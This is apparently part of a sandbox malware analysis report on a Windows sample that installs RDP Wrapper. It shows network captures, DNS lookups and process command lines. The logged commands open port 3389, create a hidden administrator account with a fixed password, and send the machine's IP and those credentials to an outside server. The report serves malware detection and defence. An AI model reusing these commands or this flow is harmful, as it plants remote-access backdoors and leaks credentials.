Oct 8, 2024 03:30:59.649069071 CEST	49732	80	192.168.2.4	104.26.12.205
Oct 8, 2024 03:30:59.653938055 CEST	80	49732	104.26.12.205	192.168.2.4
Oct 8, 2024 03:30:59.654002905 CEST	49732	80	192.168.2.4	104.26.12.205
Oct 8, 2024 03:30:59.654155016 CEST	49732	80	192.168.2.4	104.26.12.205
Oct 8, 2024 03:30:59.659135103 CEST	80	49732	104.26.12.205	192.168.2.4
Oct 8, 2024 03:31:00.131272078 CEST	80	49732	104.26.12.205	192.168.2.4
Oct 8, 2024 03:31:00.145018101 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:00.145064116 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:00.145438910 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:00.154165983 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:00.154179096 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:00.181839943 CEST	49732	80	192.168.2.4	104.26.12.205
Oct 8, 2024 03:31:00.682643890 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:00.682888031 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:00.709475994 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:00.709498882 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:00.710489035 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:00.760051012 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:00.927800894 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:00.971470118 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:01.027805090 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:01.028076887 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:01.028091908 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:01.498045921 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:01.498289108 CEST	443	49733	172.67.140.92	192.168.2.4
Oct 8, 2024 03:31:01.499258041 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:31:01.505897999 CEST	49733	443	192.168.2.4	172.67.140.92
Oct 8, 2024 03:32:55.117347956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:32:55.117532969 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:33:59.364049911 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:33:59.364217997 CEST	49732	80	192.168.2.4	104.26.12.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:30:59.640074968 CEST	52184	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:30:59.646816015 CEST	53	52184	1.1.1.1	192.168.2.4
Oct 8, 2024 03:31:00.132900000 CEST	51549	53	192.168.2.4	1.1.1.1
Oct 8, 2024 03:31:00.144526958 CEST	53	51549	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 03:30:59.640074968 CEST	192.168.2.4	1.1.1.1	0xe683	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:31:00.132900000 CEST	192.168.2.4	1.1.1.1	0xb75d	Standard query (0)	yalubluseks.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 03:30:59.646816015 CEST	1.1.1.1	192.168.2.4	0xe683	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:30:59.646816015 CEST	1.1.1.1	192.168.2.4	0xe683	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:30:59.646816015 CEST	1.1.1.1	192.168.2.4	0xe683	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:31:00.144526958 CEST	1.1.1.1	192.168.2.4	0xb75d	No error (0)	yalubluseks.eu	172.67.140.92	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:31:00.144526958 CEST	1.1.1.1	192.168.2.4	0xb75d	No error (0)	yalubluseks.eu	104.21.54.163	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

yalubluseks.eu

147.45.44.104

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	147.45.44.104	80	6468	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:30:54.022650003 CEST	94	OUT	GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1 Host: 147.45.44.104 Connection: Keep-Alive
Oct 8, 2024 03:30:54.663557053 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 01:30:54 GMT Content-Type: application/octet-stream Content-Length: 1785344 Last-Modified: Thu, 26 Sep 2024 12:36:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f55533-1b3e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL#CZ4<7P@@`{^.text `.itext\|0 `.dataxP8@.bssOpL.idataL@.tls`.rdata`@@.reloc^`b@B.rsrc{`\|@@p@@
Oct 8, 2024 03:30:54.663614988 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Boolean@FalseTrueSystem4@AnsiChar@P@Char@h@ShortInt@@SmallInt
Oct 8, 2024 03:30:54.663650990 CEST	1236	IN	Data Raw: 15 40 00 42 00 f4 ff b2 15 40 00 43 00 f4 ff f0 15 40 00 42 00 f4 ff 1f 16 40 00 42 00 f4 ff 48 16 40 00 43 00 f4 ff 7c 16 40 00 43 00 f4 ff b5 16 40 00 43 00 f4 ff e0 16 40 00 43 00 f4 ff 09 17 40 00 43 00 f4 ff 35 17 40 00 43 00 f4 ff 71 17 40 Data Ascii: @B@C@B@BH@C\|@C@C@C@C5@Cq@C@C@C-@Bg@B@B@C%@CV@C@J@J@J@Ju@J@J@J@JO@Kz@J@MTOb
Oct 8, 2024 03:30:54.663685083 CEST	672	IN	Data Raw: 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 70 53 40 00 08 55 6e 69 74 4e 61 6d 65 03 00 10 12 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 40 10 12 40 00 01 00 01 01 02 00 02 00 33 00 48 52 40 00 06 45 71 75 61 6c 73 03 Data Ascii: Self3pS@UnitName@Self@@3HR@Equals@@Self@Obj+PR@GetHashCode@@Self38T@ToString@@Self@@[0T@SafeCallExceptionl@
Oct 8, 2024 03:30:54.663722038 CEST	1236	IN	Data Raw: 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 f8 1b 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 8b c0 cc 83 44 24 04 f8 e9 b9 7b 00 00 83 44 24 04 Data Ascii: System@IInterfaceFSystemD${D${D${)@3@=@FH@@T@@@@@@HR@PR@8T@0T@@@XT@LT@@@Q@\|Q@@
Oct 8, 2024 03:30:54.663757086 CEST	1236	IN	Data Raw: 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 f8 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 e4 10 40 00 08 00 00 00 Data Ascii: @VWord@VLongWord@VInt644@VUInt64@VString@VAny@VArray@VPointer@VUStringVLongsVWordsVBytesRawData
Oct 8, 2024 03:30:54.663790941 CEST	1236	IN	Data Raw: 30 8b c3 83 c4 44 5b c3 8d 40 00 ff 25 34 c4 44 00 8b c0 ff 25 30 c4 44 00 8b c0 ff 25 2c c4 44 00 8b c0 e4 04 01 00 ff ff ff ff 5a 00 00 00 46 61 73 74 4d 4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 20 28 63 29 20 32 30 30 34 20 2d 20 32 Data Ascii: 0D[@%4D%0D%,DZFastMM Borland Edition (c) 2004 - 2008 Pierre le Riche / Professional Software DevelopmentAn unexpected memory leak has occurred. The unexpected small block leaks are:The sizes of unexpec
Oct 8, 2024 03:30:54.663821936 CEST	104	IN	Data Raw: e6 00 00 ff ff 6a 04 68 00 10 10 00 56 6a 00 e8 23 fb ff ff 8b d8 85 db 74 30 8b fb 89 6f 08 83 ce 04 89 77 0c e8 7d ff ff ff a1 cc 9a 44 00 c7 07 c8 9a 44 00 89 1d cc 9a 44 00 89 47 04 89 18 c6 05 c4 9a 44 00 00 83 c3 10 8b c3 5d 5f 5e 5b c3 8b Data Ascii: jhVj#t0ow}DDDGD]_^[SVWUC
Oct 8, 2024 03:30:54.663856983 CEST	1236	IN	Data Raw: 89 14 24 8b 50 04 89 54 24 04 8b 50 0c f6 c2 08 75 1a 68 00 80 00 00 6a 00 56 e8 b8 fa ff ff 85 c0 74 04 33 ff eb 3f 83 cf ff eb 3a 8b de 8b ea 83 e5 f0 33 ff 6a 1c 8d 44 24 0c 50 53 e8 19 fa ff ff 68 00 80 00 00 6a 00 53 e8 88 fa ff ff 85 c0 75 Data Ascii: $PT$PuhjVt3?:3jD$PShjSut$;v+uD$$$T$PD$]_^[SVWU;;v$jD$PD$P{\|$upd$
Oct 8, 2024 03:30:54.663894892 CEST	224	IN	Data Raw: ff ff c6 05 34 7a 44 00 00 5b c3 56 57 8d 3c cd c4 7a 44 00 8b 77 04 8b 46 04 89 47 04 89 38 39 c7 75 17 b8 fe ff ff ff d3 c0 21 04 95 44 7a 44 00 75 07 0f b3 15 40 7a 44 00 bf f0 ff ff ff 23 7e fc 89 fa 29 da 74 1f 8d 04 33 8d 4a 03 89 48 fc 89 Data Ascii: 4zD[VW<zDwFG89u!DzDu@zD#~)t3JHT0rd7KN4zD_^[[+1PSMpDuajBt,J@At1[KZJQS1[t
Oct 8, 2024 03:30:54.669291019 CEST	1236	IN	Data Raw: 42 14 8b 4a 04 89 48 04 89 41 14 31 c0 39 53 10 75 03 89 43 0c 88 03 89 d0 8b 52 fc 8a 1d 4d 70 44 00 e9 85 00 00 00 b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d d5 78 44 00 00 75 ea 51 52 6a 00 e8 e5 f4 ff ff 5a 59 b8 00 01 00 00 f0 0f b0 23 0f Data Ascii: BJHA19SuCRMpD#t=xDuQRjZY#oQRjZY%4zDtB=xDuj%4zDt!jVuD3L3u5L3Fu@tPCF\3Y4zD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.26.12.205	80	6468	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:30:59.654155016 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Oct 8, 2024 03:31:00.131272078 CEST	227	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:31:00 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8cf25e6d6cdf436d-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	172.67.140.92	443	6468	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:31:00 UTC	167	OUT	POST /get_rdp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 58 Expect: 100-continue Connection: Keep-Alive
2024-10-08 01:31:01 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-08 01:31:01 UTC	58	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 75 73 65 72 3d 52 44 50 55 73 65 72 5f 32 31 37 64 35 30 37 34 26 70 61 73 73 77 6f 72 64 3d 44 55 46 36 67 29 61 41 32 61 69 42 Data Ascii: ip=8.46.123.33&user=RDPUser_217d5074&password=DUF6g)aA2aiB
2024-10-08 01:31:01 UTC	725	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:31:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2FKkLmw5gyBr4YabzhAfntmQOBN4gs9Zy3Gu%2FXTQ6JKGe%2BM33xdwjMT4URkPeSiBDFA23xNqelbUVVPlotDBaqFDOJ1kC8GQu%2Bxm0pAVDFWJY16LqLuf3LiKgWlUyj74Zg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf25e731d8c7cfc-EWR 92 <html> <head><title>404 Not Found</title></head> <body> <center><h1>404 Not Found</h1></center> <hr><center>nginx</center> </body> </html>
2024-10-08 01:31:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	21:30:52
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe"
Imagebase:	0xba0000
File size:	12'800 bytes
MD5 hash:	5057D16E9FB573FB3924B9C3DBA53260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	21:30:54
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:30:54
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:30:54
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Imagebase:	0x400000
File size:	1'785'344 bytes
MD5 hash:	C213162C86BB943BCDF91B3DF381D2F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000003.00000000.1688644177.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: 00000003.00000000.1688700085.0000000000450000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs Detection: 78%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Imagebase:	0x7ff63cd40000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\System32\drivers\rdpvideominiport.sys
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6eef20000
File size:	32'600 bytes
MD5 hash:	77FF15B9237D62A5CBC6C80E5B20A492
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\System32\drivers\rdpdr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	169'984 bytes
MD5 hash:	64991B36F0BD38026F7589572C98E3D6
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\System32\drivers\tsusbhub.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	137'728 bytes
MD5 hash:	CC6D4A26254EB72C93AC848ECFCFB4AF
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net user RDPUser_217d5074 DUF6g)aA2aiB /add
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net user RDPUser_217d5074 DUF6g)aA2aiB /add
Imagebase:	0x7d0000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 user RDPUser_217d5074 DUF6g)aA2aiB /add
Imagebase:	0xca0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f330000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup
Imagebase:	0x7d0000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:30:57
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0xca0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:30:58
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup "Administrators" RDPUser_217d5074 /add
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:30:58
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:30:58
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup "Administrators" RDPUser_217d5074 /add
Imagebase:	0x7d0000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:30:58
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup "Administrators" RDPUser_217d5074 /add
Imagebase:	0xca0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:31:00
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 2488
Imagebase:	0xdf0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 01412165 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 552675cd16f19fe3337ddc9c5d0e157acc8c83f94d5b08c39dc651d99c76f795
Instruction ID: ff5cb0412c2efaebce762b06c66d74b367b542fd5613600c307a5cb64f3a732b
Opcode Fuzzy Hash: 552675cd16f19fe3337ddc9c5d0e157acc8c83f94d5b08c39dc651d99c76f795
Instruction Fuzzy Hash: 5D21E234A502089FCB05EB78D464AAD7BF6EF9C300F20405AE501E736ACA759C45CF90

Function 01410981 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc7b1bc6a23f312679c9d367e0955d6f0426dcdbd0a6389001a99ff106608db
Instruction ID: 47d2afe0a30ce6f90da6ba7f2bbe60aaf9332a0e4a5a5ee09070b87eaca1e14b
Opcode Fuzzy Hash: 2cc7b1bc6a23f312679c9d367e0955d6f0426dcdbd0a6389001a99ff106608db
Instruction Fuzzy Hash: 4D419F31B002059FDB24DF28D55469EBBF6EFC8340F24492AE486E7369DB30AC86CB51

Function 01410C18 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b31302e74ed97930f9fa73bfedebf77e3de7b54f0fb0586afed7afb8720a0341
Instruction ID: a399b13b5ed0d89e73cf73eff88228b6a758d0e494cca45e7e5f1c43bb2a1cd0
Opcode Fuzzy Hash: b31302e74ed97930f9fa73bfedebf77e3de7b54f0fb0586afed7afb8720a0341
Instruction Fuzzy Hash: 22411874A002098FDB15DF59C444ADEBBF2BF89320F59819AE405BB365C774AD86CFA0

Function 01411CF8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df1ef3ccece30c5b953d6b9f48e9e785b1bd8d1b621e92e262bea8dbab69ec8
Instruction ID: aba924d3641f133532928f3ed2ff718a9dea9bcaafd636ef1e2c6c50d76b4ec1
Opcode Fuzzy Hash: 7df1ef3ccece30c5b953d6b9f48e9e785b1bd8d1b621e92e262bea8dbab69ec8
Instruction Fuzzy Hash: AF315B307003099FCB09A77DC99066F7BAAFFC5710F10486AE115A7369CA31EC42C790

Function 01410C08 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3518342428.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
